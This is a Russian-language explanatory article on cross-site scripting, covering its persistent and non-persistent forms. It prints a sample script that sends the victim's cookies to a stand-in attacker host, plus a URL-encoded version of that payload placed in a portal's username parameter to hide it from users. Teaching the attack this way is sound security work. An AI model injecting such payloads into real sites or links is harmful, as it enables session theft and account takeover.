Межсайтовое выполнение сценариев (Cross-site Scripting или XSS) является методом нападения, который вынуждает веб-сайт выводить, подготовленный злоумышленником программный код, который загружается в браузере пользователя. Сам программный код обычно пишется на HTML/JavaScript, но может быть также перенесен в VBScript, ActiveX, Java, Flash, или на любую другую поддерживаемую браузерами технологию.

Когда злоумышленник добивается, чтобы браузер пользователя выполнил его программный код, то этот код будет запущен в безопасной среде сервера веб-сайта. С этим уровнем привилегий, программный код вполне способен прочитать, изменить или передать важные данные доступные браузеру. У «запрограммированного» пользователя может быть украдена его учетная запись (через кражу Ключика), его браузер может быть перенаправлен на другой адрес, или возможно показана фальсифицированная информация, выводимая веб-сайтом при посещении. Атака Межсайтовое Программирование по существу является компрометацией отношений между пользователем и веб-сайтом.

Атаку Межсайтовое Программирование можно разделить на два типа, постоянная и непостоянная. Непостоянная атака требует посещения пользователем, особенным образом подготовленной, ссылки, с «вшитым» в нее вредоносным кодом. При посещении такой ссылки, код, внедренный в URL, выведется и, соответственно, выполнится в веб-браузере пользователя. Постоянная атака происходит, когда вредоносный код добавляется на веб-сайт, где он сохраняется на некоторый период времени. Примерами излюбленных и часто используемых злоумышленниками мест для таких размещений являются — сообщения досок объявлений, сообщения веб-почты, и программное обеспечение для веб-чатов. При этом, от ничего неподозревающего пользователя, не требуется переходить ни по каким ссылкам, достаточно просто отобразить веб-страницу, содержащую этот программный код.

Пример
Постоянная атака

Многие веб-сайты в своих сервисах используют доски объявлений и форумы, где зарегистрированные пользователи могут оставлять свои сообщения. Зарегистрированный пользователь обычно отслеживается при помощи ключика с идентификатором сессии (session ID), дающим полномочия для размещения сообщений. Если злоумышленник разместил сообщение, содержащее особенным образом подготовленный JavaScript код, то когда пользователь прочитает такое сообщение его ключики и учетная запись снанут скомпрометированными.

Фрагмент кода похищения ключика
<SCRIPT>
document.location=’http://attackerhost.example/cgi-bin/cookiesteal.cgi?’+document.cookie
</SCRIPT>

Непостоянная атака

Многие веб-порталы часто персонализируют внешний вид веб-сайта, приветствуя вошедшего в систему пользователя надписью вида «Добро пожаловать :». Иногда, данные такого обращения вошедшего в систему пользователя сохраняются и передаются внутри строки URL запроса и выводятся на экране.

Пример URL портала

http://portal.example/index.php?sessionid=12312312&username=Joe

В примере выше, имя пользователя «Joe» сохраняется в URL (в поле username). Выводимая веб-страница отображает приветствие «Добро пожаловать, Joe». Если злоумышленник изменил бы поле username в URL, вставив JavaScript для похищения Ключиков, то это сделало бы вероятным получение управления учетной записью пользователя, загружающего эту веб-страницу. У большого процента людей вызовет подозрение, если они увидят JavaScript внедренный в URL, поэтому зачастую злоумышленник будет кодировать URL вредоносного наполнения подобно примеру ниже:

URL кодирование примера URL-а для хищения ключиков

http://portal.example/index.php?sessionid=12312312&username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E

Раскодирование примера URL-а для хищения Ключиков

http://portal.example/index.php?sessionid=12312312&username=<script>document.location=’http://attacker host.example/cgi-bin/cookiesteal.cgi?’+document.cookie</script>